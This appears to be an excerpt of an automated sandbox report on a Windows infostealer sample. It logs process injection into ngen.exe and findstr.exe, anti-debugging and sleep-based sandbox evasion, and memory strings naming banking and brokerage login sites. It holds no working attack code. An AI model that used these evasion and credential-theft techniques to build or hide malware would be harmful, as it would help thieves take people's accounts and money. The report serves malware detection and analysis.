Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\SysWOW64\findstr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: GJRX21GBj3.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: GJRX21GBj3.exe

Static file information: File size 1951744 > 1048576

Source: GJRX21GBj3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: GJRX21GBj3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: GJRX21GBj3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: GJRX21GBj3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: GJRX21GBj3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: GJRX21GBj3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: GJRX21GBj3.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: GJRX21GBj3.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: findstr.pdbGCTL source: ngen.exe, 00000004.00000002.2293830420.00000000053F8000.00000004.00000020.00020000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924590936.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ngen.pdb source: findstr.exe, 00000007.00000002.3924355546.00000000031FE000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000003C7C000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000000.2360774678.00000000032FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2627811818.00000000286EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000000.2215505772.0000000000DFE000.00000002.00000001.01000000.00000005.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000000.2360491290.0000000000DFE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: ngen.exe, 00000004.00000002.2293944288.0000000005850000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3925215501.0000000003650000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2296210633.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2294244319.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3925215501.00000000037EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: findstr.pdb source: ngen.exe, 00000004.00000002.2293830420.00000000053F8000.00000004.00000020.00020000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924590936.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ngen.exe, ngen.exe, 00000004.00000002.2293944288.0000000005850000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, findstr.exe, 00000007.00000002.3925215501.0000000003650000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2296210633.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2294244319.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3925215501.00000000037EE000.00000040.00001000.00020000.00000000.sdmp

Source: GJRX21GBj3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: GJRX21GBj3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: GJRX21GBj3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: GJRX21GBj3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: GJRX21GBj3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: GJRX21GBj3.exe	Static PE information: section name: .managed
Source: GJRX21GBj3.exe	Static PE information: section name: hydrated

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004017BF push ds; iretd	4_2_00401B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0040A8C2 push ss; iretd	4_2_0040A921
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0041A881 push esp; iretd	4_2_0041A882
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0041E8B7 push ss; ret	4_2_0041E8BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004051A1 push ebp; ret	4_2_004051A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_004019BF push ds; iretd	4_2_00401B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00401B31 push ds; iretd	4_2_00401B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00403500 push eax; ret	4_2_00403502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0041CD8C push edx; iretd	4_2_0041CD8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00407643 pushfd ; iretd	4_2_0040765A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_00407638 pushfd ; iretd	4_2_0040765A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0041A763 push esi; iretd	4_2_0041A767
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058809AD push ecx; mov dword ptr [esp], ecx	4_2_058809B6
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_036809AD push ecx; mov dword ptr [esp], ecx	7_2_036809B6
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E57260 push esi; iretd	7_2_02E57264
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E57247 push esi; iretd	7_2_02E57264
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E5B3B4 push ss; ret	7_2_02E5B3BA
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E473BF push ss; iretd	7_2_02E4741E
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E5737E push esp; iretd	7_2_02E5737F
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E620DD push cs; ret	7_2_02E620DE
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E44140 pushfd ; iretd	7_2_02E44157
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E44135 pushfd ; iretd	7_2_02E44157
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E5711C push esi; iretd	7_2_02E57264
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E60BB3 push cs; ret	7_2_02E60BB4
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E59889 push edx; iretd	7_2_02E5988A
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E5FE8D push es; iretd	7_2_02E5FE8E
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_02E41C9E push ebp; ret	7_2_02E41C9F
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03494072 push eax; iretd	7_2_03494078
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03499808 push ebx; ret	7_2_0349989F
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_034A2822 push eax; ret	7_2_034A2824
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 7_2_03490E84 push ecx; retf	7_2_03490E85

Source: C:\Windows\SysWOW64\findstr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\findstr.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Memory allocated: 29B95880000 memory reserve | memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe

Code function: 4_2_058FD1C0 rdtsc

4_2_058FD1C0

Source: C:\Windows\SysWOW64\findstr.exe	Window / User API: threadDelayed 2128			Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Window / User API: threadDelayed 7845			Jump to behavior

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-15772

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\findstr.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\findstr.exe TID: 6208	Thread sleep count: 2128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 6208	Thread sleep time: -4256000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 6208	Thread sleep count: 7845 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe TID: 6208	Thread sleep time: -15690000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe TID: 1856	Thread sleep time: -65000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\findstr.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\findstr.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\findstr.exe

Code function: 7_2_02E5BF10 FindFirstFileW,FindNextFileW,FindClose,

7_2_02E5BF10

Source: C:\Users\user\Desktop\GJRX21GBj3.exe

Code function: 0_2_00007FF658562760 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

0_2_00007FF658562760

Source: H0840I45.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3924911559.000000000141A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\
Source: H0840I45.7.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: H0840I45.7.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: GJRX21GBj3.exe	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: H0840I45.7.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: H0840I45.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: H0840I45.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: H0840I45.7.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: H0840I45.7.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: H0840I45.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: findstr.exe, 00000007.00000002.3924355546.00000000031FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: H0840I45.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: H0840I45.7.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: H0840I45.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: H0840I45.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: H0840I45.7.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: H0840I45.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: H0840I45.7.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: firefox.exe, 0000000B.00000002.2629405691.0000016FA869D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK?+P
Source: H0840I45.7.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: H0840I45.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: H0840I45.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe

Process information queried: ProcessInformation

Allocates memory in foreign processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe

Code function: 4_2_058FD1C0 rdtsc

4_2_058FD1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe

Code function: 4_2_00417A33 LdrLoadDll,

4_2_00417A33

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B4588 mov eax, dword ptr fs:[00000030h]	4_2_058B4588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590B594 mov eax, dword ptr fs:[00000030h]	4_2_0590B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590B594 mov eax, dword ptr fs:[00000030h]	4_2_0590B594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587758F mov eax, dword ptr fs:[00000030h]	4_2_0587758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587758F mov eax, dword ptr fs:[00000030h]	4_2_0587758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587758F mov eax, dword ptr fs:[00000030h]	4_2_0587758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05882582 mov eax, dword ptr fs:[00000030h]	4_2_05882582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05882582 mov ecx, dword ptr fs:[00000030h]	4_2_05882582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE59C mov eax, dword ptr fs:[00000030h]	4_2_058BE59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15A9 mov eax, dword ptr fs:[00000030h]	4_2_058A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15A9 mov eax, dword ptr fs:[00000030h]	4_2_058A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15A9 mov eax, dword ptr fs:[00000030h]	4_2_058A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15A9 mov eax, dword ptr fs:[00000030h]	4_2_058A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15A9 mov eax, dword ptr fs:[00000030h]	4_2_058A15A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059135BA mov eax, dword ptr fs:[00000030h]	4_2_059135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059135BA mov eax, dword ptr fs:[00000030h]	4_2_059135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059135BA mov eax, dword ptr fs:[00000030h]	4_2_059135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059135BA mov eax, dword ptr fs:[00000030h]	4_2_059135BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593F5BE mov eax, dword ptr fs:[00000030h]	4_2_0593F5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059005A7 mov eax, dword ptr fs:[00000030h]	4_2_059005A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059005A7 mov eax, dword ptr fs:[00000030h]	4_2_059005A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059005A7 mov eax, dword ptr fs:[00000030h]	4_2_059005A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AF5B0 mov eax, dword ptr fs:[00000030h]	4_2_058AF5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A45B1 mov eax, dword ptr fs:[00000030h]	4_2_058A45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A45B1 mov eax, dword ptr fs:[00000030h]	4_2_058A45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059535D7 mov eax, dword ptr fs:[00000030h]	4_2_059535D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059535D7 mov eax, dword ptr fs:[00000030h]	4_2_059535D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059535D7 mov eax, dword ptr fs:[00000030h]	4_2_059535D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE5CF mov eax, dword ptr fs:[00000030h]	4_2_058BE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BE5CF mov eax, dword ptr fs:[00000030h]	4_2_058BE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B55C0 mov eax, dword ptr fs:[00000030h]	4_2_058B55C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A95DA mov eax, dword ptr fs:[00000030h]	4_2_058A95DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058865D0 mov eax, dword ptr fs:[00000030h]	4_2_058865D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA5D0 mov eax, dword ptr fs:[00000030h]	4_2_058BA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA5D0 mov eax, dword ptr fs:[00000030h]	4_2_058BA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059555C9 mov eax, dword ptr fs:[00000030h]	4_2_059555C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FD5D0 mov eax, dword ptr fs:[00000030h]	4_2_058FD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FD5D0 mov ecx, dword ptr fs:[00000030h]	4_2_058FD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BC5ED mov eax, dword ptr fs:[00000030h]	4_2_058BC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BC5ED mov eax, dword ptr fs:[00000030h]	4_2_058BC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058825E0 mov eax, dword ptr fs:[00000030h]	4_2_058825E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE5E7 mov eax, dword ptr fs:[00000030h]	4_2_058AE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15F4 mov eax, dword ptr fs:[00000030h]	4_2_058A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15F4 mov eax, dword ptr fs:[00000030h]	4_2_058A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15F4 mov eax, dword ptr fs:[00000030h]	4_2_058A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15F4 mov eax, dword ptr fs:[00000030h]	4_2_058A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15F4 mov eax, dword ptr fs:[00000030h]	4_2_058A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A15F4 mov eax, dword ptr fs:[00000030h]	4_2_058A15F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B7505 mov eax, dword ptr fs:[00000030h]	4_2_058B7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B7505 mov ecx, dword ptr fs:[00000030h]	4_2_058B7505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05954500 mov eax, dword ptr fs:[00000030h]	4_2_05954500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05955537 mov eax, dword ptr fs:[00000030h]	4_2_05955537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE53E mov eax, dword ptr fs:[00000030h]	4_2_058AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE53E mov eax, dword ptr fs:[00000030h]	4_2_058AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE53E mov eax, dword ptr fs:[00000030h]	4_2_058AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE53E mov eax, dword ptr fs:[00000030h]	4_2_058AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AE53E mov eax, dword ptr fs:[00000030h]	4_2_058AE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592F525 mov eax, dword ptr fs:[00000030h]	4_2_0592F525
